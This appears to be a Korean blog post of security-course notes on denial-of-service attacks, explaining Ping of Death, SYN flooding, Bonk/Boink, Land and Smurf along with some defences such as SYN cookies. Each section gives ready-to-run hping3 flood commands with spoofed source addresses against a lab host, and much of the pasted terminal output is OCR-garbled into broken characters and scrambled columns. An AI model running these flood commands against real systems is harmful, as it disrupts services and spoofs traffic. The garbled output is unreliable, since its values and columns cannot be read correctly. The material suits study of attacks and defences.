2020. 7. 14.

[Network] S06_01 Dos


*DOS 공격

DoS(Denial of Service, 서비스 거부)
  • 공격 대상이 수용할 수 있는 능력 이상의 정보를 제공하거나, 사용자 또는 네트워크의 용량을 초과시켜 정상적으로 작동하지 못하게 하는 공격
    •  파괴 공격 : 디스크, 데이터, 시스템 파괴
    •  시스템 자원 고갈 공격 : CPU, 메모리, 디스크의 사용에 과다한 부하 가중
    • 네트워크 자원 고갈 공격 : 쓰레기 데이터로 네트워크의 대역폭 고갈
DDoS(Distributed Denial of Service)
  • DoS 공격의 업그레이드판
  • 1999 8 17일에 미네소타 대학에서 대대적으로 DDoS 공격이 일어나 CNN, Yahoo, NBC 같은 대규모 사이트를 마비시킴

Ping of Death
  • ping을 이용하여 ICMP 패킷을 정상 크기보다 아주 크게 만드는 것
  • 크게 만들어진 패킷은 네트워크를 통해 라우팅(routing)되어 공격 네트워크에 도달하는 동안 아주 작은 조각(fragment)으로 쪼개지고 공격 대상은 조각화된 패킷을 모두 처리해야 하므로 정상적인 ping보다 부하가 훨씬 많이 걸림
라우팅과 패킷의 분할
  • 라우팅은 출발지 주소와 목적지 주소를 확인하고 최적의 거리를 찾아 패킷을 전달해주는 것
  • 전달 과정에서 패킷은 항상 특성이 똑같은 네트워크를 지나지는 않음. 프레임 릴레이ATM, 토큰 링, 이더넷 등 다양한 네트워크를 지나 목적지에 도달
  • 네트워크마다 최대 전송 가능 패킷 길이가 달라 최대 전송 가능 패킷 길이가 더 작은 네트워크를 지날 때 데이터는 작게 분할됨
  • 한 번 분할된 패킷은 더 긴 패킷 길이를 허용하는 네트워크를 지나도 다시 커지지 않음

*DOS 공격 - ping of death

hping3을 이용한 Ping of Death 공격
  • epel에서 제공
yum 이용한 hping 설치
r00t@attacker_— 
[root@attacker yum install —Y hping3 
Loaded p lug ins: fastestm irror 
Loading mirror speeds from cached hostfi le 
epel: mirror .math.princeton .edu 
• rpmforge: ftp.riken.ip 
Setting up Install Process 
Resolving Dependencies 
Runn ing transact ion check 
Package hping3 . i386 0: 0.0.20051105-8.e15 
> Finished Dependency Resolution 
Dependencies Resolved 
set to be updated 
Package 
Install ing: 
hping3 
Transact ion 
Arch 
i 386 
Sumary 
Vers i on 
0.0.20051105-8.e15 
Repos i tory 
epe I 
91 k

Ping of Death 실행
# hping --icmp --rand-source IP -d [패킷크기] --flood
--icmp : 전송 패킷의 종류
IP : 공격 대상
-d [숫자] : 전송 패킷의 길이 (최대 65,535)
--flood : 최대 속도로 패킷 생성
--rand-source : 소스 IP를 랜덤하게 결정한다.
-c 패킷 개수
-a IP : spoofing source address
자세한 옵션은 man파일을 참고한다.
--flood 옵션은 패킷 캡처를 어렵게 할 수 있다.
  • 제한이 있는 –fast(10/sec) –faster(100/sec)를 이용할 수 있다.

// ISP에서 확인할 있다. 외국에선 어렵지만 국내에선 추적이 가능하다.

rOOt@attacker_— 
[rooteattacker hping —icmp —a I 
.1.1.1 192.168.11.17 -d 65000 
192.168.11 .17 (ethO 192.168.11 .17): 
mode set. 28 headers + 65000 data 
bytes

root@server:- 
[root@server src 1 .1 . 1.1 —w' 
tcpånnp: I ing eth(). I ink—type (Ethernet). capture size 65535 byte 
IP (tos OXO, ttl 
id 149, offset O. flags [+] . proto ICW (1) 
length 1500) 
1 dot Idotldotl . cloudf I are—dns 
.com > 192.168.11.17: ICMP echo req,est. id 3815 
O, seq 4352, length 1480 
.786519 IP (tos OXO. ttl 
(1). length 1500) 
1 dot Idotldotl . c loudf I are—dns 
IP (tos OXO. ttl 
(1). length 1500) 
1 dot Idotldotl . cloudf I are—dns 
IP (tos OXO, ttl 
(1). length 1500) 
1 dot Idotldotl . cloudf I are—dns 
IP (tos OXO, ttl 
(1). length 1500) 
64, 
id 149, offset 1480. flags [+] 
64. 
.com > 192.168.11 .17: icmp 
id 149, offset 2960. flags [+] 
64, 
.com > 192.168.11 .17: icmp 
id 149, offset 4440. flags [+] 
64, 
.com > 192.168.11.17: icmp 
id 149, offset 5920, flags [+] 
64, 
. proto ICW> 
. proto ICW> 
proto ICW> 
, proto ICW)

*DOS 공격 - SYN Flooding

SYN Flooding
  • 네트워크에서 서비스를 제공하는 시스템은 동시 사용자 수가 제한되어 있음
  • SYN Flooding(플러딩)은 존재하지 않는 클라이언트가 서버별로 한정되어 있는 접속 가능 공간에 접속한 것처럼 속여 다른 사용자가 서비스를 제공받지 못하게 하는 것
  • 공격자는 쓰리웨이 핸드셰이킹 과정에서 서버를 다운시키기 위해 짧은 시간 안에 많은 양의 SYN만 보냄
  • 시스템은 보통 SYN에 대한 연결을 무한정 기다리지 않고 일정 시간 동안만 연결을 시도하고 기다리도록 설정되어 있음
  • SYN Flooding 공격을 성공하려면 서버에 설정된 대기 시간 안에 서버가 수용할 수 있는 동시 사용자 수의 한계를 넘는 연결을 시도해야 함
  • 서버가‘SYN Received’상태로 ACK 패킷을 기다리는 상태를백로그 (backlog)에 빠졌다고 표현하며,‘ SYN Received’상태로 ACK 패킷을 기다리는 시간은 설정 사항으로 변경할 수 있음


보안 패치로 대기 시간을 줄이는 것이 효과적이지만 시스템의 특성상 무조건 대기 시간을 줄일 수 없는 경우가 있음. 방화벽에서도 정상적인 접속 시도와 비정상적인 SYN Flooding 공격 시도를 구분할 수 있는 방법이 없기 때문에 직접적인 차단은 불가능
  • SYN Flooding 공격은 일정 시간 안에 동시 접속자 수를 점유해야 하므로 아주 짧은 시간 안에 똑같은 형태의 패킷을 보내게 됨. 이는 매우 정형화된 형태로, 네트워크에서 쉽게 인지가 가능
  • 해당 ISP 업체에 연락하여 그에 해당하는 IP 주소 대역을 접속 금지시키거나 확인한 후 방화벽 또는 라우터에서 해당 접속을 금지시킴으로써 시스템 서비스 중지를 막을 수 있음
  • 관련 커널 파라미터
    • net.ipv4.tcp_max_syn_backlog = 1024
    • 백로그의 크기 (대기열에 준비중인 SYN 숫자)
    • 실제 공격에 대비하지는 못함.

Syn_Cookie
  • 관련 커널 파라미터
    • net.ipv4.tcp_syncookies = 1
클라이언트로부터 SYN 패킷을 받으면, 시퀀스 넘버를 Sync_Cookie로하는 응답을 보내고 세션을 대기한다. 이때 아무런 버퍼로 저장하지 않는다.
클라이언트가 Syn_Cookie가 포함된 값으로 ACK를 보내면, 서버는 그제서야 세션을 다시 열고 통신을 시작한다.


SYN flooding 실행
# hping --rand-source 192.168.11.17 -p 80 -S --flood
-p : 대상 포트번호
-S : SYN 패킷
rOOt@attacker_— 
[rooteattacker hpi ng3 
—rand—source 192. 168.11 .17 —p 80 —S —f lood 
I-PIM; 192.168.11 .17 (eth() 192.168.11 .17): S set. 40 headers + O data bytes 
hping in flood mode, no repl ies will be shown

tcpdump를 이용 패킷을 캡처한다.
root@server:- 
[root@server tcpdump —i eth() tcp port 80 —w synf .pcap 
tcpduww: I isten ing on eth(), I ink—type ENI* (Ethernet), capture size 65535 bytes
※ 캡쳐 전에 HTTPD 서버가 구동 중인지 확인한다.

*DOS 공격

netstat 명령으로 대기 접속을 확인한다.
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
tcp 
root@setver:- 
[root@server 
192. 
0 192. 168.11 
17:B0 
17:80 
192. 
0 192. 168.11 
17:BO 
192. 168.11.17:80 
0 192. 168.11 
17:BO 
0 192. 168.11 
192. 168.11.17*.80 
0 192. 168.11 
192. 168.11.17•.80 
192. 168.11.17:80 
192. 
0 192. 168.11 
17:BO 
17:80 
192. 168.11.17:80 
0 192. 168.11 
17:BO 
0 192. 168.11 
192. 168.11.17:80 
netstat —an I 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
o 
0 192. 168 
0 192. 168 
0 192. 
0 192. 168 
192. 168.11 
192. 168.11 
. 11 : 
. 11 : 
. 11 : 
grep SYN_RECV 
7 
7 
7 
7 
249.155.110.111 : 8661 
253.146. 108.214: 56912 
251 .222.8.215:20741 
253.214.63 .203:29135 
245.1 .207 . 148 : 50468 
243 .158 . 108.61 : 56583 
251 .168 . 25 . 144: 19973 
253.63.225 .168: 55939 
249.51 .98.225:56518 
251 .53 .201 . 179: 7915 
249.173.189. log: 55708 
244 
.160.173.91:55564 
255.15.25.1:25367 
242.84.220.95 : 56167 
251.211.212.43:8340 
253.60.66.58: 2557 
244.1 24.243:6799 
244 
.52.147 .23g: 
242.76.203 .225:6512 
242.168. 163.152 : 8182 
251 .211 .46 .185: 1961 
255.164. 170.168: 29472 
251 .8 .47.51 : 7721 
SYN_RECV 
SYN_RECV 
SYN RECV 
SYNERECV 
SYN_RECV 
SYN RECV 
SYNERECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN_RECV 
SYN RECV 
SYNERECV 
SYN_RECV 
SYN RECV 
SYNERECV 
SYN_RECV 
SYN_RECV 
SYN_RECV
// 패킷의 양을 보고 검출한다.

// 바이트 스트림 넘버  : 바이트단위, 문자열(텍스트단위)
// 시퀀스넘버(바이트 스트림 넘버) : 데이터그램의 순서를 확인하는 번호

*DOS 공격 - Boink, Bonk, Teardorp // 시퀀스 넘버랑 관련된 문제
Boink, Bonk, Teardrop
  • 프로토콜은 목적에 따라 정도의 차이는 있지만 신뢰성 있는 연결을 제공하려 함
  • 신뢰성 있는 연결은 패킷의 순서가 올바른가, 중간에 손실된 패킷은 없는가를 확인하는 기능을 기본으로 제공
  • 프로토콜은 신뢰도를 확보하고자 반복적으로 재요구하고 수정을 하게됨
  • Boink, Bonk, Teardrop은 이런 반복적인 재요구와 수정을 계속하게 함으로써 시스템 자원을 고갈시키는 공격
    • Bonk는 처음 패킷을 1번으로 보낸 후 두 번째, 세 번째 패킷 모두 시퀀스 넘버를 1번으로 조작해서 보냄
    • Boink는 처음 패킷을 1번으로 보낸 후 두 번째 패킷은 101, 세 번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보냄
    • Teardrop은 단순히 시퀀스 넘버를 일정하게 바꾸는 것을 넘어 중첩과 빈공간을 만들며, 시퀀스 넘버를 좀 더 복잡하게 섞음
    • 모든 공격은 해석이 불가능하거나 불필요하다고 판단될 패킷을 보낸다.

hping을 이용 Boink, Bonk 공격을 수행하자
  • 두개의 터미널에서 동시에 명령을 수행한다.
# hping3 -a 1.1.1.1 192.168.11.17 --id 3200 -M 34343 -p 21 -d 320 --flood
# hping3 -a 1.1.1.1 192.168.11.17 --id 3201 -M 34343 -p 21 -d 320 --flood
// id 다르면 다른 데이터그램(app계층의 단위)이라는
-a : 출발지 IP
-M : TCP sequence 번호
--id : IP identification 번호
-p : dest port 번호
-d : 패킷 길이
  • ID번호가 같은 패킷을 두개의 터미널에서 보내보자.
    • 보낸 패킷을 각각 터미널로 분리해 보자.

r00t@attacker:- 
[root@attacker hping3 —a 1 .1 
.1.1 
hping in flood mode, no replies will 
-c 
- 192.168.11.17 hping statistic 
192.168 .11 .1 
7 "id 3200 —M 34343 —p 21 —d 320 —f lood 
WING 192.168.11 .17 (ethO 192.168.11 . 17): NO FLAGS are set. 40 headers + 320 data bytes 
be shown 
177272 packets transmi tted, O packets received, IOOX packet loss 
round—trip min/avg/max = 0.0/0.0/0.0 ms 
[root@attacker

r00t@attacker:- 
[root@attacker hping3 —a 1 .1 
.1.1 
hping in flood mode, no replies will 
-c 
192.168.11.17 hping statistic 
192.168 .11 .1 
7 —id 3201 —M 34343 —p 21 —d 320 —f lood 
WING 192.168.11 .17 (ethO 192.168.11 . 17): NO FLAGS are set. 40 headers + 320 data bytes 
be shown 
124239 packets transmi tted, O packets received, IOOX packet loss 
round—trip min/avg/max = 0.0/0.0/0.0 ms 
[root@attacker

192.168.11.17 시스템에서 패킷을 매우 잠시 동안 캡쳐하고 전달된 패킷의 개수가 얼마인지 확인한다.

*DOS 공격 - LAND

// icmp 패킷을 보내서 혼자 request, echo 계속 반복한다.
// 네트워크로 나가지않고 메모리에서 계속 돌기 떄문에 시스템자원을 잡아먹는다.
// 라우터 셋팅을 잘못해두면 패킷이 날아간다. (ISP..)

Land
  • Land를 사전에서 찾아보면또는착륙하다외에‘(나쁜 상태에) 빠지게 하다라는 의미
  • Land(랜드) 공격은 의미 그대로 시스템을 나쁜 상태에 빠지게 하는 것이며, 방법도 아주 간단
  • 패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소 값을 똑같이 만들어서 공격 대상에 보내는 것. 이때 조작된 IP 주소 값은 당연히 공격 대상의 IP 주소여야 함


Land 보안 대책
  • Land 공격도 현재의 시스템에서는 대부분 효과가 없음
  • 현재의 시스템은 출발지 주소와 목적지 주소를 확인하여 동일한 패킷은 인식하고 버림
  • 라우터나 방화벽에서 출발지 IP 주소가 내부 IP 주소와 동일한 패킷은 처음부터 차단하는 것이 좋음

hping을 이용 Land 공격을 수행한다.
# hping 192.168.11.11 -a 192.168.11.11 --icmp –flood
r00t@attacker_— 
[root@attacker hping 192.168. 11 .17 —a 192.168 .11 .17 
192.168.11 .17 (ethO 192.168.11 .17): mode set. 
——icmp —flood 
28 
headers + O byt 
hping in flood mode, no repl ies will be shown 
-c 
192.168.11 .17 hping statistic - 
211005 packets transmi tted, O packets received, 
round—tr ip min/avg/max = ms 
[rooteattacker 
IOOX packet loss
# tcpdump icmp icmp 패킷만 캡처한다.
15. 
15. 
15. 
15. 
15. 
15 
15 
15:29: 43 .155310 
15 : 29 : 43 .155313 
15: 29 : 43 .155511 
15:29 : 43 .155514 
• 29 . 
• 29 
• 29 . 
29 
• 29 
: 29 
root@server:- 
IP 192.168.11. 
IP 192.168.11 
IP 192.168.11. 
IP 192.168.11 
IP 192.168.11. 
IP 192.168.11 
43.155309 
:43.155311 
•43.155311 
: 43 .155507 
.155510 
• 43 .155512 
: 43 .155513 
192.168.11 
.17 
192.168. 11. 
17 
17 
.17 
192.168. 11. 
17 
17 
.17 
192.168. 11. 
17 
17 
.17 
192.168.11 
.17 
192.168. 11 . 17: 
> 
> 
192.168. 11.17: 
> 192.168. 11 .17: 
> 192.168. 11.17: 
192.168. 11.17: 
> 
> 192.168. 11 .17: 
192.168. 11.17: 
> 
> 192.168.11 .17: 
192.168. 11.17: 
> 
> 192.168.11.17: ICMP 
> 192.168.11.17: ICMP 
I CMP 
I CMP 
I CNP 
I CYP 
I cyp 
I CNP 
I cw 
I cyp 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
recuest , 
recuest , 
recuest , 
req_lest , 
reqjest , 
recwest , 
req.lest . 
recuest , 
recuest 
id 44294, 
id 44294. 
44294, 
id 44294, 
id 44294. 
44294, 
44294, 
id 44294. 
44294, 
44294, 
id 44294. 
seq 34779 
seq 35035. 
seq 35291 , 
seq 35547 
seq 35803. 
seq 36059, 
seq 36315, 
seq 36571 , 
seq 36827 , 
seq 37083, 
seq 37339. 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
I eng th 
8 
8 
8 
8 
8 
8 
8 
8 
8 
8

*DOS 공격 - Smurf, Fraggle

// 대규모 네트워크인경우 안막아둔 경우가 많다.

Smurf, Fraggle
  • 웜이 네트워크를 공격하는 데 아직도 많이 쓰는데, Ping of Death처럼 ICMP 패킷을 이용
  • 출발지 주소가 공격 대상으로 바뀐 ICMP Request 패킷을 시스템이 매우 많은 네트워크로 브로드캐스트함
  • 기본적인 브로드캐스트는 목적지 IP 주소255.255.255.255를 가지고 네트워크의 임의의 시스템에 패킷을 보내는 것

다이렉트 브로드캐스트(Direct Broadcast)
  • 1.1.1.0 네트워크에 IP 주소가 2.2.2.2인 공격자가 브로드캐스트하려면 목적지 IP 주소를1.1.1.255와 같이 설정하여 패킷을 보내야 함
  • 공격자가 1.1.1.255로 다이렉트 브로드캐스트하면 네트워크의 모든 시스템들은 아래와 같이 동일한 패킷을 받게됨
  • ICMP Request를 받게 된 1.1.1.0 네트워크는 ICMP Request 패킷의 위조된 시작 IP 주소(3.3.3.3) ICMP Reply를 다시 보냄

. οις

스머프 공격
# hping 192.168.10.255 -a 192.168.11.17 --icmp --flood
r00t@attacker_— 
[root@attacker hping 192.168. —a 192 .168.11 .17 
192.168.10.255 (ethO 192 .168.10.255): icmp mode set 
—i cmp —flood 
, 28 headers + O data b 
hping in flood mode, no repl ies will be shown 
-c 
192.16B.10.255 hping statistic 
300257 packets transmi tted, O packets received, 
round—tr ip min/avg/max = ms 
[rooteattacker 
IOOX packet loss
  • 192.168.11.11 시스템에서 패킷을 캡처해 본다.

// tcp 어플리케이션에서 반응하지 않는다.

댓글 없음:

댓글 쓰기